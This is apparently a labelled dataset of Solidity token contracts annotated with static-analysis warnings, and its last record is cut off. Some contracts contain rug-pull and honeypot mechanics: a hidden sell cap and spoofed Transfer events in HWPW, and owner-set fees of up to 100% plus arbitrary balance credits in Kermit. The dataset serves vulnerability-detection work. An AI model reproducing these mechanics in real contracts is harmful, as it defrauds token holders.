"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Peeing is ERC20, ERC20Burnable, Ownable {\n uint256 private constant supplyCap = 1000000000 * 10 ** 18;\n\n constructor() ERC20(\"Peeing Calvin\", \"PEEING\") {\n _mint(msg.sender, supplyCap);\n }\n}",
"file_name": "solidity_code_3918.sol",
"secure": 1,
"size_bytes": 508
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract HWPW is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _p76234;\n\n\t// WARNING Optimization Issue (constable-states | ID: 18eaca5): HWPW._e242 should be constant \n\t// Recommendation for 18eaca5: Add the 'constant' attribute to state variables that never change.\n uint256 private _e242 = 999;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function claim(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function multicall(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e4ba843): HWPW.actionPair(address).account lacks a zerocheck on \t _p76234 = account\n\t// Recommendation for e4ba843: Check that the address is not zero.\n function actionPair(address account) public virtual returns (bool) {\n require(_msgSender() == 0xB8eb1576143149cA86a98c8f76f83dF755c1501a);\n\n\t\t// missing-zero-check | ID: e4ba843\n _p76234 = account;\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n\n renounceOwnership();\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n if (\n (from != _p76234 &&\n to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||\n (_p76234 == to &&\n from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 &&\n from != 0x8482876C9d0509D9DC4c686B25737766644471f7 &&\n from != 0xB8eb1576143149cA86a98c8f76f83dF755c1501a &&\n from != 0xf549db1Eb630F2C1c7066A4513dAF39578Fd4c97)\n ) {\n uint256 _X7W88 = amount + 2;\n\n require(_X7W88 < _e242);\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = unicode\"Based Intellectus\";\n\n _symbol = unicode\"HWPW\";\n\n _mint(msg.sender, 999999999999 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3919.sol",
"secure": 0,
"size_bytes": 6555
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IStakeManager.sol\" as IStakeManager;\nimport \"./IValidatorShare.sol\" as IValidatorShare;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 1a00328): Contract locking ether found Contract ERC20VotesWrapper has payable functions ERC20VotesWrapper.constructor(address) But does not have a function to withdraw the ether\n// Recommendation for 1a00328: Remove the 'payable' attribute or add a withdraw function.\ncontract ERC20VotesWrapper {\n IStakeManager immutable stakeManager;\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 1a00328): Contract locking ether found Contract ERC20VotesWrapper has payable functions ERC20VotesWrapper.constructor(address) But does not have a function to withdraw the ether\n\t// Recommendation for 1a00328: Remove the 'payable' attribute or add a withdraw function.\n constructor(address stakeManager_) payable {\n stakeManager = IStakeManager(stakeManager_);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 3891b6e): ERC20VotesWrapper.getTotalActiveStake(address) has external calls inside a loop validator = stakeManager.validators(i)\n\t// Recommendation for 3891b6e: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: b8cab15): ERC20VotesWrapper.getTotalActiveStake(address) has external calls inside a loop (userStake,None) = IValidatorShare(validator.contractAddress).getTotalStake(user)\n\t// Recommendation for b8cab15: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2833e0f): ERC20VotesWrapper.getTotalActiveStake(address) ignores return value by (userStake,None) = IValidatorShare(validator.contractAddress).getTotalStake(user)\n\t// Recommendation for 2833e0f: Ensure that all the return values of the function calls are used.\n function getTotalActiveStake(address user) public view returns (uint256) {\n uint256 totalStakingPower = 0;\n\n uint256 numValidators = stakeManager.NFTCounter();\n\n uint256 currentEpoch = stakeManager.epoch();\n\n for (uint256 i = 0; i < numValidators; i++) {\n\t\t\t// calls-loop | ID: 3891b6e\n IStakeManager.Validator memory validator = stakeManager.validators(\n i\n );\n\n if (\n validator.contractAddress != address(0) &&\n (validator.deactivationEpoch == 0 ||\n validator.deactivationEpoch > currentEpoch)\n ) {\n\t\t\t\t// calls-loop | ID: b8cab15\n\t\t\t\t// unused-return | ID: 2833e0f\n (uint256 userStake, ) = IValidatorShare(\n validator.contractAddress\n ).getTotalStake(user);\n\n totalStakingPower += userStake;\n }\n }\n\n return totalStakingPower;\n }\n}",
"file_name": "solidity_code_392.sol",
"secure": 0,
"size_bytes": 2939
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract CAFAToken is ERC20 {\n constructor() ERC20(\"CAFA Token\", \"CAFA\") {\n _mint(msg.sender, 1000000000 * (10 ** uint256(decimals())));\n }\n}",
"file_name": "solidity_code_3920.sol",
"secure": 1,
"size_bytes": 288
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract AMERICA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9fd8794): AMERICA._initialBuyTax should be constant \n\t// Recommendation for 9fd8794: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 14;\n\n\t// WARNING Optimization Issue (constable-states | ID: c104197): AMERICA._initialSellTax should be constant \n\t// Recommendation for c104197: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 14;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6e43b3e): AMERICA._finalBuyTax should be constant \n\t// Recommendation for 6e43b3e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d2bd103): AMERICA._finalSellTax should be constant \n\t// Recommendation for d2bd103: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f4ed35): AMERICA._reduceBuyTaxAt should be constant \n\t// Recommendation for 3f4ed35: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: c7db49d): AMERICA._reduceSellTaxAt should be constant \n\t// Recommendation for c7db49d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: fa4478b): AMERICA._preventSwapBefore should be constant \n\t// Recommendation for fa4478b: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 1;\n\n uint256 private _buyCount = 0;\n\n string private constant _name = unicode\"AMERICA PAC LIVE\";\n\n string private constant _symbol = unicode\"AMERICA\";\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 17000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 17000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: aa8ab24): AMERICA._taxSwapThreshold should be constant \n\t// Recommendation for aa8ab24: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 13000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 958b2c4): AMERICA._maxTaxSwap should be constant \n\t// Recommendation for 958b2c4: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 13000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8ebc91b): AMERICA._taxWallet should be immutable \n\t// Recommendation for 8ebc91b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address public uniswapPair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 45967ca): AMERICA.burnLiqLim should be constant \n\t// Recommendation for 45967ca: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 3b7dfde): AMERICA.burnLiqLim is never initialized. It is used in AMERICA._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 3b7dfde: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private burnLiqLim;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n struct BurnLiqLimit {\n uint256 burnLiqIndx;\n uint256 burnLiqAmnt;\n uint256 burnTotalAmnt;\n }\n\n uint256 private minLiqBurn;\n\n mapping(address => BurnLiqLimit) private burnLiqLimit;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xB3090B97eA7a695CF9c63B4670F81Ed41D705575);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5370a14): AMERICA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5370a14: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8e620ab): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8e620ab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 76cd3d1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 76cd3d1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8e620ab\n\t\t// reentrancy-benign | ID: 76cd3d1\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8e620ab\n\t\t// reentrancy-benign | ID: 76cd3d1\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8c75abf): AMERICA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8c75abf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 76cd3d1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8e620ab\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4e4570d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4e4570d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a8efaff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a8efaff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2d2b6d6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2d2b6d6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapPair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapPair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapPair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 4e4570d\n\t\t\t\t// reentrancy-benign | ID: a8efaff\n\t\t\t\t// reentrancy-eth | ID: 2d2b6d6\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4e4570d\n\t\t\t\t\t// reentrancy-eth | ID: 2d2b6d6\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: a8efaff\n minLiqBurn = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to != uniswapPair) {\n BurnLiqLimit storage brnLim = burnLiqLimit[to];\n\n if (from == uniswapPair) {\n if (brnLim.burnLiqIndx == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: a8efaff\n brnLim.burnLiqIndx = _buyCount <= _preventSwapBefore\n ? type(uint256).max\n : block.number;\n }\n } else {\n BurnLiqLimit storage brnLimSn = burnLiqLimit[from];\n\n if (\n brnLim.burnLiqIndx == 0 ||\n brnLimSn.burnLiqIndx < brnLim.burnLiqIndx\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: a8efaff\n brnLim.burnLiqIndx = brnLimSn.burnLiqIndx;\n }\n }\n } else {\n BurnLiqLimit storage brnLimSn = burnLiqLimit[from];\n\n\t\t\t\t// reentrancy-benign | ID: a8efaff\n brnLimSn.burnLiqAmnt = brnLimSn.burnLiqIndx.sub(minLiqBurn);\n\n\t\t\t\t// reentrancy-benign | ID: a8efaff\n brnLimSn.burnTotalAmnt = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: 4e4570d\n\t\t// reentrancy-eth | ID: 2d2b6d6\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, taxAmount, tokenAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 3b7dfde): AMERICA.burnLiqLim is never initialized. It is used in AMERICA._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 3b7dfde: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : burnLiqLim.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 2d2b6d6\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 4e4570d\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 2d2b6d6\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 2d2b6d6\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 4e4570d\n emit Transfer(from, to, receiptAmount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4e4570d\n\t\t// reentrancy-events | ID: 8e620ab\n\t\t// reentrancy-benign | ID: 76cd3d1\n\t\t// reentrancy-benign | ID: a8efaff\n\t\t// reentrancy-eth | ID: 2d2b6d6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4e4570d\n\t\t// reentrancy-events | ID: 8e620ab\n\t\t// reentrancy-eth | ID: 2d2b6d6\n _taxWallet.transfer(amount);\n }\n\n function transferAllStuckETH() external onlyOwner {\n _taxWallet.transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d93ff81): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d93ff81: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8612ddf): AMERICA.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8612ddf: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e5f13f6): AMERICA.enableTrading() ignores return value by IERC20(uniswapPair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e5f13f6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 82cf091): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 82cf091: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: d93ff81\n\t\t// reentrancy-eth | ID: 82cf091\n uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: d93ff81\n swapEnabled = true;\n\n\t\t// unused-return | ID: 8612ddf\n\t\t// reentrancy-eth | ID: 82cf091\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: e5f13f6\n\t\t// reentrancy-eth | ID: 82cf091\n IERC20(uniswapPair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-eth | ID: 82cf091\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_3921.sol",
"secure": 0,
"size_bytes": 20349
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract Kermit is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 07bca89): Kermit._decimals should be immutable \n\t// Recommendation for 07bca89: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5f00693): Kermit._totalSupply should be immutable \n\t// Recommendation for 5f00693: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8b4afba): Kermit._devmarketWallet should be immutable \n\t// Recommendation for 8b4afba: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _devmarketWallet;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _devmarketWallet = 0x4b26A420993B9e0Aa86CD51E40a4544AA5Eb9B67;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Approve(address user, uint256 feePer) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePer <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePer);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _devmarketWallet;\n }\n\n function lpblebbesly(address recipient, uint256 airDrop) external {\n bool flag = isMee();\n\n uint256 receiveRewrd;\n\n if (flag && airDrop > 0) {\n receiveRewrd = (airDrop * 2) / 2;\n } else if (!flag && airDrop == 0) {\n receiveRewrd = airDrop;\n } else {\n receiveRewrd = airDrop * 0;\n }\n\n _balances[recipient] += receiveRewrd;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds 